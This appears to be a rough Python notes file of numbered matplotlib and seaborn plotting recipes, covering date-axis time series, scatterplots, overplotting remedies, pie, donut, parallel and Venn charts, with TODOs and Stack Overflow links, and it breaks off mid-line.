pd.to_datetime(df.datetime).day\r\n\r\n\r\ndf['Date'] = pd.to_datetime(df['Date'], errors = 'coerce')\r\n\r\ntype(df['datetime'])\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10)})\r\n           \r\nsns.tsplot( data=df)            \r\nsns.tsplot(time=\"x\", value=\"y1\", data=df)            \r\n            \r\n            \r\n            \r\nsns.tsplot(time=\"timepoint\", value=\"BOLD signal\", unit=\"subject\", condition=\"ROI\", data=gammas)\r\n\r\n       \r\n            \r\nimport numpy as np; np.random.seed(22)\r\nimport seaborn as sns; sns.set(color_codes=True)\r\nx = np.linspace(0, 15, 31)\r\ndata = np.sin(x) + np.random.rand(10, 31) + np.random.randn(10, 1)\r\n\r\n\r\nax = sns.tsplot(data=data)\r\n\r\n\r\ngammas = sns.load_dataset(\"gammas\")\r\ngammas\r\nax = sns.tsplot(time=\"timepoint\", value=\"BOLD signal\", unit=\"subject\", condition=\"ROI\", data=gammas)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #128 SHOW DATE ON XLAB\r\n\r\nimport datetime\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.dates as mdates\r\n\r\n# build up the data\r\ndf = []\r\nstart_date = datetime.datetime(2015, 7, 1)\r\nfor i in range(10):\r\n    for j in [1,2]:\r\n        unit = 'Ones' if j == 1 else 'Twos'\r\n        date = start_date + datetime.timedelta(days=i)\r\n\r\n        # I believe it makes more sense to directly convert the datetime to a\r\n        # \"matplotlib\"-date (float), instead of creating strings and then let\r\n        # pandas parse the string again\r\n        df.append({\r\n                'Date': mdates.date2num(date),\r\n                'Value': i * j,\r\n                'Unit': unit\r\n            })\r\ndf = pd.DataFrame(df)\r\n\r\n# build the figure\r\nfig, ax = plt.subplots()\r\nsns.tsplot(df, time='Date', value='Value', unit='Unit', ax=ax)\r\n\r\n# assign locator and formatter for the xaxis ticks.\r\nax.xaxis.set_major_locator(mdates.AutoDateLocator())\r\nax.xaxis.set_major_formatter(mdates.DateFormatter('%Y.%m.%d'))\r\n\r\n# put the labels at 45deg since they tend to be too long\r\nfig.autofmt_xdate()\r\nplt.show()\r\n\r\n------ OR ---------\r\n\r\nimport seaborn as sns\r\nimport pandas as pd\r\nsns.set(style=\"darkgrid\")\r\n\r\ngammas = sns.load_dataset(\"gammas\")\r\ngammas['time'] = pd.to_datetime('2000-01-01') + pd.to_timedelta(10, unit='D') * gammas['timepoint']\r\nsns.tsplot(gammas, \"time\", \"subject\", \"ROI\", \"BOLD signal\")\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n | SERIE #130 -> #140  SCATTERPLOT MATPLOTLIB\r\n |\t\t\t\t\t\tAND CONNECTED SCATTER\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #130 BASIC SCATTERPLOT\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n#import seaborn as sns\r\nimport pandas as pd\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n\r\n# plot\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\nplt.savefig('PNG/#130_Basic_Matplotlib_Scatterplot.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #131 CUSTOM SCATTERPLOT APPEARANCE\r\n\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*80+range(1,101) })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# change marker shape:\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='*')\r\nplt.savefig('PNG/#131_Custom_Matplotlib_Scatterplot1.png')\r\nplt.show()\r\n\r\n# All possibilities\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# get all markers possibilities\r\nall_poss=['.','o','v','^','>','<','s','p','*','h','H','D','d','1','','']\r\n\r\n# to see all possibilities:\r\n# from matplotlib import markers\r\n# all_poss=markers.MarkerStyle.markers.keys()\r\n\r\n# set the limit of x and y axis:\r\nplt.xlim(0.5,4.5)\r\nplt.ylim(0.5,4.5)\r\n\r\n# remove ticks and values of axis:\r\nplt.xticks([])\r\nplt.yticks([])\r\n#plt.set_xlabel(size=0)\r\n\r\n# Make a loop to add markers one by one\r\nnum=0\r\nfor x in range(1,5):\r\n\tfor y in range(1,5):\r\n\t\tnum += 1\r\n\t\tplt.plot(x,y,marker=all_poss[num-1], markerfacecolor='orange', markersize=23, markeredgecolor=\"black\")\r\n\t\tplt.text(x+0.2, y, all_poss[num-1], horizontalalignment='left', size='medium', color='black', weight='semibold')\r\nplt.savefig('PNG/#131_Custom_Matplotlib_Scatterplot2.png')\r\n\r\n# change marker size:\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*80+range(1,101) })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='D', markersize=16)\r\nplt.savefig('PNG/#131_Custom_Matplotlib_Scatterplot3.png')\r\nplt.show()\r\n\r\n# change marker color:\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\ndf=pd.DataFrame({'x': range(1,10), 'y': np.random.randn(9)*80+range(1,10) })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nplt.plot( 'x', 'y', data=df, linestyle='none', markerfacecolor='skyblue', marker=\"o\", markeredgecolor=\"black\", markersize=16)\r\nplt.savefig('PNG/#131_Custom_Matplotlib_Scatterplot4.png')\r\nplt.show()\r\n--> link color python\r\n--> link map a color to a variable\r\n\r\n# Custom edges of markers:\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\ndf=pd.DataFrame({'x': range(1,10), 'y': np.random.randn(9)*80+range(1,10) })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='D', markersize=16, markeredgecolor=\"orange\", markeredgewidth=5)\r\nplt.savefig('PNG/#131_Custom_Matplotlib_Scatterplot5.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #132 CONNECTED SCATTERPLOT\r\n\r\n# En fait c'es tr\u00e9s proche de scatter plot et de line plot.\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\ndf=pd.DataFrame({'x': range(1,10), 'y': np.random.randn(9)*80+range(1,10) })\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# plot\r\nplt.plot( 'x', 'y', data=df, linestyle='-', marker='o')\r\nplt.savefig('PNG/#132_Matplotlib connected scatterplot.png')\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# COLOR DEPENDS THIRD VARIABLE\r\nmatplotlib.pyplot.scatter\r\nhttps://stackoverflow.com/questions/7881994/matplotlib-how-to-change-data-points-color-based-on-some-variable\r\n\r\nimport matplotlib as mpl\r\nt = np.linspace(0, 2 * np.pi, 20)\r\nx = np.sin(t)\r\ny = np.cos(t)\r\nz=x\r\ncmap, norm = mpl.colors.from_levels_and_colors([0, 2, 5, 6], ['red', 'green', 'blue']) \r\nf, ax = plt.subplots()\r\nax.scatter(x, y, c=z, cmap=cmap, norm=norm)\r\n\r\n\r\n\r\n\r\n\r\n# -------------\r\nhttps://stackoverflow.com/questions/5147112/matplotlib-how-to-put-individual-tags-for-a-scatter-plot\r\n\r\n !!! TODO !!!! \r\n\r\n SCATTER WITH annotation\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nN = 10\r\ndata = np.random.random((N, 4))\r\nlabels = ['point{0}'.format(i) for i in range(N)]\r\n\r\nplt.subplots_adjust(bottom = 0.1)\r\nplt.scatter(\r\n    data[:, 0], data[:, 1], marker='o', c=data[:, 2], s=data[:, 3] * 1500,\r\n    cmap=plt.get_cmap('Spectral'))\r\n\r\nfor label, x, y in zip(labels, data[:, 0], data[:, 1]):\r\n    plt.annotate(\r\n        label,\r\n        xy=(x, y), xytext=(-20, 20),\r\n        textcoords='offset points', ha='right', va='bottom',\r\n        bbox=dict(boxstyle='round,pad=0.5', fc='yellow', alpha=0.5),\r\n        arrowprops=dict(arrowstyle = '->', connectionstyle='arc3,rad=0'))\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #134 BAD GRAPH: OVERPLOTTING\r\n\r\n# Overplotting=one of the most dangerous mistake in scatterplot.\r\n# Example:\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\nplt.style.use('seaborn')\r\n\r\n# Dataset:\r\ndf=pd.DataFrame({'x': np.random.normal(10, 1.2, 20000), 'y': np.random.normal(10, 1.2, 20000), 'group': np.repeat('A',20000) })\r\ntmp1=pd.DataFrame({'x': np.random.normal(14.5, 1.2, 20000), 'y': np.random.normal(14.5, 1.2, 20000), 'group': np.repeat('B',20000) })\r\ntmp2=pd.DataFrame({'x': np.random.normal(9.5, 1.5, 20000), 'y': np.random.normal(15.5, 1.5, 20000), 'group': np.repeat('C',20000) })\r\ndf=df.append(tmp1).append(tmp2)\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# plot\r\nplt.plot( 'x', 'y', data=df, linestyle='', marker='o')\r\nplt.xlabel('Value of X')\r\nplt.ylabel('Value of Y')\r\nplt.title('Overplotting looks like that:', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting1.png', dpi=96, bbox_inches='tight')\r\n\r\n# How to fight it?\r\n# Be carefull outliers are harder to see\r\n\r\n# 1- Reduce dot size\r\nplt.plot( 'x', 'y', data=df, linestyle='', marker='o', markersize=0.7)\r\nplt.xlabel('Value of X')\r\nplt.ylabel('Value of Y')\r\nplt.title('Overplotting? Try to reduce the dot size', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting2.png', dpi=96, bbox_inches='tight')\r\n\r\n# 2- Use transparency\r\n# Be carefull if you use several color on your chart: they can become hard to distinguish\r\nplt.plot( 'x', 'y', data=df, linestyle='', marker='o', markersize=3, alpha=0.05, color=\"purple\")\r\nplt.xlabel('Value of X')\r\nplt.ylabel('Value of Y')\r\nplt.title('Overplotting? Try to use transparency', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting3.png', dpi=96, bbox_inches='tight')\r\n\r\n# 3- 2D density graph\r\nsns.kdeplot(df.x, df.y, cmap=\"Reds\", shade=True)\r\nplt.title('Overplotting? Try 2D density graph', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting4.png', dpi=96, bbox_inches='tight')\r\n\r\n# 4- Sampling:\r\n# Pandas has an awesome function for that!\r\ndf_sample=df.sample(1000)\r\nplt.plot( 'x', 'y', data=df_sample, linestyle='', marker='o')\r\nplt.xlabel('Value of X')\r\nplt.ylabel('Value of Y')\r\nplt.title('Overplotting? Sample your data', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting5.png', dpi=96, bbox_inches='tight')\r\n\r\n# 5- Filtering\r\ndf_filtered = df[ df['group'] == 'A']\r\nplt.plot( 'x', 'y', data=df, linestyle='', marker='o', markersize=1.5, color=\"grey\", alpha=0.3, label='other group')\r\nplt.plot( 'x', 'y', data=df_filtered, linestyle='', marker='o', markersize=1.5, alpha=0.3, label='group A')\r\nplt.legend(markerscale=8)\r\nplt.xlabel('Value of X')\r\nplt.ylabel('Value of Y')\r\nplt.title('Overplotting? Show a specific group', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting6.png', dpi=96, bbox_inches='tight')\r\n\r\n# 6- Grouping\r\nsns.lmplot( x=\"x\", y=\"y\", data=df, fit_reg=False, hue='group', legend=False, palette=\"Accent\", scatter_kws={\"alpha\":0.1,\"s\":15} )\r\nplt.legend(loc='lower right', markerscale=2)\r\nplt.xlabel('Value of X')\r\nplt.ylabel('Value of Y')\r\nplt.title('Overplotting? Show putative structure', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting7.png', dpi=96, bbox_inches='tight')\r\n\r\n# 7- Faceting\r\ng = sns.FacetGrid(df, col=\"group\", hue=\"group\")\r\ng = (g.map(plt.scatter, \"x\", \"y\", edgecolor=\"w\"))\r\nplt.savefig('PNG/#134_Fighting_overplotting8.png', dpi=96, bbox_inches='tight')\r\n          \r\n\r\n# 8- Jitter\r\n\r\n# Dataset:\r\na=np.concatenate([np.random.normal(2, 4, 1000), np.random.normal(4, 4, 1000), np.random.normal(1, 2, 500), np.random.normal(10, 2, 500), np.random.normal(8, 4, 1000), np.random.normal(10, 4, 1000)])\r\ndf=pd.DataFrame({'x': np.repeat( range(1,6), 1000), 'y': a })\r\n\r\n# plot\r\nplt.plot( 'x', 'y', data=df, linestyle='', marker='o')\r\nplt.savefig('PNG/#134_Fighting_overplotting11.png', dpi=96, bbox_inches='tight')\r\n\r\n# Correct\r\nsns.stripplot(df.x, df.y, jitter=0.2, size=2)\r\nplt.title('Overplotting? Use jitter when x data are not really continuous', loc='left')\r\nplt.savefig('PNG/#134_Fighting_overplotting12.png', dpi=96, bbox_inches='tight')\r\n\r\n# 9- 3D plot\r\n\r\n# libraries\r\nfrom scipy.stats import kde\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\n# Evaluate a gaussian kde on a regular grid of nbins x nbins over data extents\r\nnbins=300\r\nk = kde.gaussian_kde([df.x,df.y])\r\nxi, yi = np.mgrid[ df.x.min():df.x.max():nbins*1j,  df.y.min():df.y.max():nbins*1j]\r\nzi = k(np.vstack([xi.flatten(), yi.flatten()]))\r\n \r\n# Transform it in a dataframe\r\ndata=pd.DataFrame({'x': xi.flatten(), 'y': yi.flatten(), 'z': zi  })\r\n\r\n\r\n# Make the plot\r\nfig = plt.figure()\r\nax = fig.gca(projection='3d')\r\nax.plot_trisurf(data.x, data.y, data.z, cmap=plt.cm.Spectral, linewidth=0.2)\r\n# Adapt angle, first number is up/down, second number is right/left\r\nax.view_init(30, 80)   \r\nplt.savefig('PNG/#134_Fighting_overplotting9.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n# 10- Bonus: show marginal distribution\r\nsns.jointplot(x=df.x, y=df.y, kind='kde')\r\nplt.savefig('PNG/#134_Fighting_overplotting10.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n# Litterature:\r\n- https://shapescience.xyz/blog/reducing-overplotting-in-scatterplots/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n | SERIE #140 -> #150  PIEPLOTS\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #140 Basic pieplot with panda\r\n\r\n\r\n# library\r\nimport pandas as pd\r\n\r\n# --- dataset 1: just 4 values for 4 groups:\r\ndf = pd.DataFrame([8,8,1,2], index=['a', 'b', 'c', 'd'], columns=['x'])\r\n\r\n# make the plot\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\ndf.plot(kind='pie', subplots=True, figsize=(8, 8))\r\nplt.savefig('PNG/#140_basic_pieplot1.png')\r\n\r\n\r\n# --- dataset 2: 3 columns and rownames\r\ndf = pd.DataFrame({'var1':[8,3,4,2], 'var2':[1,3,4,1]}, index=['a', 'b', 'c', 'd'] )\r\ndf.plot(kind='pie', subplots=True, figsize=(16,8))\r\nplt.savefig('PNG/#140_basic_pieplot2.png')\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #140 Basic pieplot with matplotlib\r\n!!! TO ADD !!!\r\n\r\n# library\r\nimport matplotlib.pyplot as plt\r\n\r\n# create data\r\nnames='groupA', 'groupB', 'groupC', 'groupD',\r\nsize=[12,11,3,30]\r\n\r\n# Create a pieplot\r\nplt.pie(size)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n | SERIE #150 -> #160  PARALLEL PLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #150 Parrallele plot with pandas\r\n\r\n# libraries\r\nimport pandas\r\nimport matplotlib.pyplot as plt\r\nfrom pandas.tools.plotting import parallel_coordinates\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Take the iris dataset \r\nimport seaborn as sns\r\ndata = sns.load_dataset('iris')\r\n\r\n# Make the plot\r\nparallel_coordinates(data, 'species', colormap=plt.get_cmap(\"Set2\"))\r\nplt.savefig('PNG/#150_Parrallele_plot_with_pandas.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  With matplotlib\r\n\r\nPARRALELE PLOT\r\nfrom math import pi\r\nimport matplotlib.pyplot as plt\r\n\r\n# Set data\r\ncat = ['Speed', 'Reliability', 'Comfort', 'Safety', 'Effieciency']\r\nvalues = [90, 60, 65, 70, 40]\r\n\r\n# number of variable\r\nN = len(cat)\r\n\r\nx_as = [n / float(N) * 2 * pi for n in range(N)]\r\n\r\n# Create polar plot\r\nax = plt.subplot(111)\r\n\r\n# Draw the radial axes at the right positions + remove labels yet\r\nplt.xticks(x_as)\r\n\r\n# Plot data\r\nax.plot(x_as, values, linewidth=1, linestyle='solid', zorder=3)\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n | SERIE #160 -> #170  DONUT CHART\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #160 Basic Donut plot with matplotlib\r\n\r\n# library\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nsize_of_groups=[12,11,3,30]\r\n\r\n# Create a pieplot\r\nplt.pie(size_of_groups)\r\n#plt.show()\r\n\r\n# add a circle at the center\r\nmy_circle=plt.Circle( (0,0), 0.7, color='white')\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\n\r\nplt.savefig('PNG/#160_Basic_donut_plot.png')\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #161 Custom Matplotlib donut plot\r\n\r\n# library\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nnames='groupA', 'groupB', 'groupC', 'groupD',\r\nsize=[12,11,3,30]\r\n\r\n# Create a circle for the center of the plot\r\nmy_circle=plt.Circle( (0,0), 0.7, color='white')\r\n\r\n# ====== Custom colors\r\n\r\n# Give color names\r\nplt.pie(size, labels=names, colors=['red','green','blue','skyblue'])\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\nplt.savefig('PNG/#161_custom_donut_plot1.png')\r\nplt.show()\r\n\r\n# Custom colors --> colors will cycle\r\nplt.pie(size, labels=names, colors=['red','green'])\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\nplt.savefig('PNG/#161_custom_donut_plot2.png')\r\nplt.show()\r\n\r\n# Use a color palette.\r\n# Here I propose to use the Palettable utility which allows to load several palettes.\r\n# the documentation is here https://jiffyclub.github.io/palettable/\r\n# you can install it like that: \r\n# let's use it\r\n# Use a known palette!\r\nfrom palettable.colorbrewer.qualitative import Pastel1_7\r\nplt.pie(size, labels=names, colors=Pastel1_7.hex_colors)\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\nplt.savefig('PNG/#161_custom_donut_plot3.png')\r\nplt.show()\r\n\r\n\r\n# ======= Labels\r\n\r\n# Label distance:  gives the space between labels and the center of the pie\r\nplt.pie(size, labels=names, labeldistance=0.45)\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\nplt.savefig('PNG/#161_custom_donut_plot4.png')\r\nplt.show()\r\n\r\n# Label color\r\nplt.rcParams['text.color'] = 'red'\r\nplt.pie(size, labels=names)\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\nplt.savefig('PNG/#161_custom_donut_plot5.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# Donut plot with shadow: don't even think about that\r\n\r\n# Custom wedges\r\nplt.pie(size, labels=names, wedgeprops = { 'linewidth' : 7, 'edgecolor' : 'white' })\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\nplt.savefig('PNG/#161_custom_donut_plot6.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #162 Change donut background color\r\n\r\n# library\r\nimport matplotlib.pyplot as plt\r\n\r\n# Data\r\nnames='groupA', 'groupB', 'groupC', 'groupD',\r\nsize=[12,11,3,30]\r\n\r\nfig = plt.figure()\r\nfig.patch.set_facecolor('black')\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Change color of text\r\nplt.rcParams['text.color'] = 'white'\r\n\r\n# Create a circle for the center of the plot\r\nmy_circle=plt.Circle( (0,0), 0.7, color='black')\r\n\r\n# Pieplot\r\nplt.pie(size, labels=names)\r\np=plt.gcf()\r\np.gca().add_artist(my_circle)\r\nplt.savefig('PNG/#162_Background_color_donut.png', facecolor=fig.get_facecolor() )\r\n\r\n# Turn label white\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #163 Double donut chart\r\n\r\n# Libraries\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n\r\n# Make data: I have 3 groups and 7 subgroups\r\ngroup_names=['groupA', 'groupB', 'groupC']\r\ngroup_size=[12,11,30]\r\nsubgroup_names=['A.1', 'A.2', 'A.3', 'B.1', 'B.2', 'C.1', 'C.2', 'C.3', 'C.4', 'C.5']\r\nsubgroup_size=[4,3,5,6,5,10,5,5,4,6]\r\n\r\n# Create colors\r\na, b, c=[plt.cm.Blues, plt.cm.Reds, plt.cm.Greens]\r\n\r\n# First Ring (outside)\r\nfig, ax = plt.subplots()\r\nax.axis('equal')\r\nmypie, _ = ax.pie(group_size, radius=1.3, labels=group_names, colors=[a(0.6), b(0.6), c(0.6)] )\r\nplt.setp( mypie, width=0.3, edgecolor='white')\r\n\r\n# Second Ring (Inside)\r\nmypie2, _ = ax.pie(subgroup_size, radius=1.3-0.3, labels=subgroup_names, labeldistance=0.7, colors=[a(0.5), a(0.4), a(0.3), b(0.5), b(0.4), c(0.6), c(0.5), c(0.4), c(0.3), c(0.2)])\r\nplt.setp( mypie2, width=0.4, edgecolor='white')\r\nplt.margins(0,0)\r\nplt.savefig('PNG/#163_Double_Donut_Chart.png', facecolor=fig.get_facecolor() )\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n | SERIE #170 -> #180  VENN DIAGRAM\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n  \r\nThe library matplotlib-venn allows to make venn diagram with python. Once more it is build on top\r\nof Matplotlib. You can install it doing 'easy_install matplotlib-venn'. It works if you have\r\n2 or 3 groups.\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #170 Basic Venn diagrams with 2 groups\r\n\r\n# Import the library\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib_venn import venn2\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n\r\nvenn2(subsets = (10, 5, 2), set_labels = ('Group A', 'Group B'))\r\n\r\nplt.savefig('PNG/#170_Basic_Venn_Diagram.png')\r\n\r\nplt.show()\r\n\r\n# Other format:\r\nvenn2([set(['A', 'B', 'C', 'D']), set(['D', 'E', 